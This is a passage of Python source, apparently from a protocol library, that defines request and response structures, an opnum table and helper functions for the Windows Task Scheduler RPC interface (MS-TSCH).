|
||||
|
||||
class SchRpcRetrieveTaskResponse(NDRCALL):
|
||||
structure = (
|
||||
('pXml', LPWSTR),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.4 SchRpcCreateFolder (Opnum 3)
|
||||
class SchRpcCreateFolder(NDRCALL):
|
||||
opnum = 3
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('sddl', LPWSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcCreateFolderResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.7 SchRpcEnumFolders (Opnum 6)
|
||||
class SchRpcEnumFolders(NDRCALL):
|
||||
opnum = 6
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('flags', DWORD),
|
||||
('startIndex', DWORD),
|
||||
('cRequested', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcEnumFoldersResponse(NDRCALL):
|
||||
structure = (
|
||||
('startIndex', DWORD),
|
||||
('pcNames', DWORD),
|
||||
('pNames', PTASK_NAMES_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.8 SchRpcEnumTasks (Opnum 7)
|
||||
class SchRpcEnumTasks(NDRCALL):
|
||||
opnum = 7
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('flags', DWORD),
|
||||
('startIndex', DWORD),
|
||||
('cRequested', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcEnumTasksResponse(NDRCALL):
|
||||
structure = (
|
||||
('startIndex', DWORD),
|
||||
('pcNames', DWORD),
|
||||
('pNames', PTASK_NAMES_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.9 SchRpcEnumInstances (Opnum 8)
|
||||
class SchRpcEnumInstances(NDRCALL):
|
||||
opnum = 8
|
||||
structure = (
|
||||
('path', LPWSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcEnumInstancesResponse(NDRCALL):
|
||||
structure = (
|
||||
('pcGuids', DWORD),
|
||||
('pGuids', PGUID_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.10 SchRpcGetInstanceInfo (Opnum 9)
|
||||
class SchRpcGetInstanceInfo(NDRCALL):
|
||||
opnum = 9
|
||||
structure = (
|
||||
('guid', GUID),
|
||||
)
|
||||
|
||||
class SchRpcGetInstanceInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('pPath', LPWSTR),
|
||||
('pState', DWORD),
|
||||
('pCurrentAction', LPWSTR),
|
||||
('pInfo', LPWSTR),
|
||||
('pcGroupInstances', DWORD),
|
||||
('pGroupInstances', PGUID_ARRAY),
|
||||
('pEnginePID', DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.11 SchRpcStopInstance (Opnum 10)
|
||||
class SchRpcStopInstance(NDRCALL):
|
||||
opnum = 10
|
||||
structure = (
|
||||
('guid', GUID),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcStopInstanceResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.12 SchRpcStop (Opnum 11)
|
||||
class SchRpcStop(NDRCALL):
|
||||
opnum = 11
|
||||
structure = (
|
||||
('path', LPWSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcStopResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.13 SchRpcRun (Opnum 12)
|
||||
class SchRpcRun(NDRCALL):
|
||||
opnum = 12
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('cArgs', DWORD),
|
||||
('pArgs', PWSTR_ARRAY),
|
||||
('flags', DWORD),
|
||||
('sessionId', DWORD),
|
||||
('user', LPWSTR),
|
||||
)
|
||||
|
||||
class SchRpcRunResponse(NDRCALL):
|
||||
structure = (
|
||||
('pGuid', GUID),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.14 SchRpcDelete (Opnum 13)
|
||||
class SchRpcDelete(NDRCALL):
|
||||
opnum = 13
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcDeleteResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.15 SchRpcRename (Opnum 14)
|
||||
class SchRpcRename(NDRCALL):
|
||||
opnum = 14
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('newName', WSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcRenameResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.16 SchRpcScheduledRuntimes (Opnum 15)
|
||||
class SchRpcScheduledRuntimes(NDRCALL):
|
||||
opnum = 15
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('start', PSYSTEMTIME),
|
||||
('end', PSYSTEMTIME),
|
||||
('flags', DWORD),
|
||||
('cRequested', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcScheduledRuntimesResponse(NDRCALL):
|
||||
structure = (
|
||||
('pcRuntimes',DWORD),
|
||||
('pRuntimes',PSYSTEMTIME_ARRAY),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.17 SchRpcGetLastRunInfo (Opnum 16)
|
||||
class SchRpcGetLastRunInfo(NDRCALL):
|
||||
opnum = 16
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
)
|
||||
|
||||
class SchRpcGetLastRunInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('pLastRuntime',SYSTEMTIME),
|
||||
('pLastReturnCode',DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.18 SchRpcGetTaskInfo (Opnum 17)
|
||||
class SchRpcGetTaskInfo(NDRCALL):
|
||||
opnum = 17
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('flags', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcGetTaskInfoResponse(NDRCALL):
|
||||
structure = (
|
||||
('pEnabled',DWORD),
|
||||
('pState',DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.19 SchRpcGetNumberOfMissedRuns (Opnum 18)
|
||||
class SchRpcGetNumberOfMissedRuns(NDRCALL):
|
||||
opnum = 18
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
)
|
||||
|
||||
class SchRpcGetNumberOfMissedRunsResponse(NDRCALL):
|
||||
structure = (
|
||||
('pNumberOfMissedRuns',DWORD),
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
# 3.2.5.4.20 SchRpcEnableTask (Opnum 19)
|
||||
class SchRpcEnableTask(NDRCALL):
|
||||
opnum = 19
|
||||
structure = (
|
||||
('path', WSTR),
|
||||
('enabled', DWORD),
|
||||
)
|
||||
|
||||
class SchRpcEnableTaskResponse(NDRCALL):
|
||||
structure = (
|
||||
('ErrorCode',ULONG),
|
||||
)
|
||||
|
||||
################################################################################
|
||||
# OPNUMs and their corresponding structures
|
||||
################################################################################
|
||||
OPNUMS = {
|
||||
0 : (SchRpcHighestVersion,SchRpcHighestVersionResponse ),
|
||||
1 : (SchRpcRegisterTask,SchRpcRegisterTaskResponse ),
|
||||
2 : (SchRpcRetrieveTask,SchRpcRetrieveTaskResponse ),
|
||||
3 : (SchRpcCreateFolder,SchRpcCreateFolderResponse ),
|
||||
6 : (SchRpcEnumFolders,SchRpcEnumFoldersResponse ),
|
||||
7 : (SchRpcEnumTasks,SchRpcEnumTasksResponse ),
|
||||
8 : (SchRpcEnumInstances,SchRpcEnumInstancesResponse ),
|
||||
9 : (SchRpcGetInstanceInfo,SchRpcGetInstanceInfoResponse ),
|
||||
10 : (SchRpcStopInstance,SchRpcStopInstanceResponse ),
|
||||
11 : (SchRpcStop,SchRpcStopResponse ),
|
||||
12 : (SchRpcRun,SchRpcRunResponse ),
|
||||
13 : (SchRpcDelete,SchRpcDeleteResponse ),
|
||||
14 : (SchRpcRename,SchRpcRenameResponse ),
|
||||
15 : (SchRpcScheduledRuntimes,SchRpcScheduledRuntimesResponse ),
|
||||
16 : (SchRpcGetLastRunInfo,SchRpcGetLastRunInfoResponse ),
|
||||
17 : (SchRpcGetTaskInfo,SchRpcGetTaskInfoResponse ),
|
||||
18 : (SchRpcGetNumberOfMissedRuns,SchRpcGetNumberOfMissedRunsResponse),
|
||||
}
|
||||
|
||||
################################################################################
|
||||
# HELPER FUNCTIONS
|
||||
################################################################################
|
||||
def checkNullString(string):
|
||||
if string == NULL:
|
||||
return string
|
||||
|
||||
if string[-1:] != '\x00':
|
||||
return string + '\x00'
|
||||
else:
|
||||
return string
|
||||
|
||||
def hSchRpcHighestVersion(dce):
|
||||
return dce.request(SchRpcHighestVersion())
|
||||
|
||||
def hSchRpcRegisterTask(dce, path, xml, flags, sddl, logonType, pCreds = ()):
|
||||
request = SchRpcRegisterTask()
|
||||
request['path'] = checkNullString(path)
|
||||
request['xml'] = checkNullString(xml)
|
||||
request['flags'] = flags
|
||||
request['sddl'] = sddl
|
||||
request['logonType'] = logonType
|
||||
request['cCreds'] = len(pCreds)
|
||||
if len(pCreds) == 0:
|
||||
request['pCreds'] = NULL
|
||||
else:
|
||||
for cred in pCreds:
|
||||
request['pCreds'].append(cred)
|
||||
return dce.request(request)
|
||||
|
||||
def hSchRpcRetrieveTask(dce, path, lpcwszLanguagesBuffer = '\x00', pulNumLanguages=0 ):
|
||||
schRpcRetrieveTask = SchRpcRetrieveTask()
|
||||
schRpcRetrieveTask['path'] = checkNullString(path)
|
||||
schRpcRetrieveTask['lpcwszLanguagesBuffer'] = lpcwszLanguagesBuffer
|
||||
schRpcRetrieveTask['pulNumLanguages'] = pulNumLanguages
|
||||
return dce.request(schRpcRetrieveTask)
|
||||
|
||||
def hSchRpcCreateFolder(dce, path, sddl = NULL):
|
||||
schRpcCreateFolder = SchRpcCreateFolder()
|
||||
schRpcCreateFolder['path'] = checkNullString(path)
|
||||
schRpcCreateFolder['sddl'] = sddl
|
||||
schRpcCreateFolder['flags'] = 0
|
||||
return dce.request(schRpcCreateFolder)
|
||||
|
||||
def hSchRpcEnumFolders(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
|
||||
schRpcEnumFolders = SchRpcEnumFolders()
|
||||
schRpcEnumFolders['path'] = checkNullString(path)
|
||||
schRpcEnumFolders['flags'] = flags
|
||||
schRpcEnumFolders['startIndex'] = startIndex
|
||||
schRpcEnumFolders['cRequested'] = cRequested
|
||||
return dce.request(schRpcEnumFolders)
|
||||
|
||||
def hSchRpcEnumTasks(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
|
||||
schRpcEnumTasks = SchRpcEnumTasks()
|
||||
schRpcEnumTasks['path'] = checkNullString(path)
|
||||
schRpcEnumTasks['flags'] = flags
|
||||
schRpcEnumTasks['startIndex'] = startIndex
|
||||
schRpcEnumTasks['cRequested'] = cRequested
|
||||
return dce.request(schRpcEnumTasks)
|
||||
|
||||
def hSchRpcEnumInstances(dce, path, flags=TASK_ENUM_HIDDEN):
|
||||
schRpcEnumInstances = SchRpcEnumInstances()
|
||||
schRpcEnumInstances['path'] = checkNullString(path)
|
||||
schRpcEnumInstances['flags'] = flags
|
||||
return dce.request(schRpcEnumInstances)
|
||||
|
||||
def hSchRpcGetInstanceInfo(dce, guid):
|
||||
schRpcGetInstanceInfo = SchRpcGetInstanceInfo()
|
||||
schRpcGetInstanceInfo['guid'] = guid
|
||||
return dce.request(schRpcGetInstanceInfo)
|
||||
|
||||
def hSchRpcStopInstance(dce, guid, flags = 0):
|
||||
schRpcStopInstance = SchRpcStopInstance()
|
||||
schRpcStopInstance['guid'] = guid
|
||||
schRpcStopInstance['flags'] = flags
|
||||
return dce.request(schRpcStopInstance)
|
||||
|
||||
def hSchRpcStop(dce, path, flags = 0):
|
||||
schRpcStop= SchRpcStop()
|
||||
schRpcStop['path'] = path
|
||||
schRpcStop['flags'] = flags
|
||||
return dce.request(schRpcStop)
|
||||
|
||||
def hSchRpcRun(dce, path, pArgs=(), flags=0, sessionId=0, user = NULL):
|
||||
schRpcRun = SchRpcRun()
|
||||
schRpcRun['path'] = checkNullString(path)
|
||||
schRpcRun['cArgs'] = len(pArgs)
|
||||
for arg in pArgs:
|
||||
argn = LPWSTR()
|
||||
argn['Data'] = checkNullString(arg)
|
||||
schRpcRun['pArgs'].append(argn)
|
||||
schRpcRun['flags'] = flags
|
||||
schRpcRun['sessionId'] = sessionId
|
||||
schRpcRun['user'] = user
|
||||
return dce.request(schRpcRun)
|
||||
|
||||
def hSchRpcDelete(dce, path, flags = 0):
|
||||
schRpcDelete = SchRpcDelete()
|
||||
schRpcDelete['path'] = checkNullString(path)
|
||||
schRpcDelete['flags'] = flags
|
||||
return dce.request(schRpcDelete)
|
||||
|
||||
def hSchRpcRename(dce, path, newName, flags = 0):
|
||||
schRpcRename = SchRpcRename()
|
||||
schRpcRename['path'] = checkNullString(path)
|
||||
schRpcRename['newName'] = checkNullString(newName)
|
||||
schRpcRename['flags'] = flags
|
||||
return dce.request(schRpcRename)
|
||||
|
||||
def hSchRpcScheduledRuntimes(dce, path, start = NULL, end = NULL, flags = 0, cRequested = 10):
|
||||
schRpcScheduledRuntimes = SchRpcScheduledRuntimes()
|
||||
schRpcScheduledRuntimes['path'] = checkNullString(path)
|
||||
schRpcScheduledRuntimes['start'] = start
|
||||
schRpcScheduledRuntimes['end'] = end
|
||||
schRpcScheduledRuntimes['flags'] = flags
|
||||
schRpcScheduledRuntimes['cRequested'] = cRequested
|
||||
return dce.request(schRpcScheduledRuntimes)
|
||||
|
||||
def hSchRpcGetLastRunInfo(dce, path):
|
||||
schRpcGetLastRunInfo = SchRpcGetLastRunInfo()
|
||||
schRpcGetLastRunInfo['path'] = checkNullString(path)
|
||||
return dce.request(schRpcGetLastRunInfo)
|
||||
|
||||
def hSchRpcGetTaskInfo(dce, path, flags = 0):
|
||||
schRpcGetTaskInfo = SchRpcGetTaskInfo()
|
||||
schRpcGetTaskInfo['path'] = checkNullString(path)
|
||||
schRpcGetTaskInfo['flags'] = flags
|
||||
return dce.request(schRpcGetTaskInfo)
|
||||
|
||||
def hSchRpcGetNumberOfMissedRuns(dce, path):
|
||||
schRpcGetNumberOfMissedRuns = SchRpcGetNumberOfMissedRuns()
|
||||
schRpcGetNumberOfMissedRuns['path'] = checkNullString(path)
|
||||
return dce.request(schRpcGetNumberOfMissedRuns)
|
||||
|
||||
def hSchRpcEnableTask(dce, path, enabled = True):
|
||||
schRpcEnableTask = SchRpcEnableTask()
|
||||
schRpcEnableTask['path'] = checkNullString(path)
|
||||
if enabled is True:
|
||||
schRpcEnableTask['enabled'] = 1
|
||||
else:
|
||||
schRpcEnableTask['enabled'] = 0
|
||||
return dce.request(schRpcEnableTask)
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user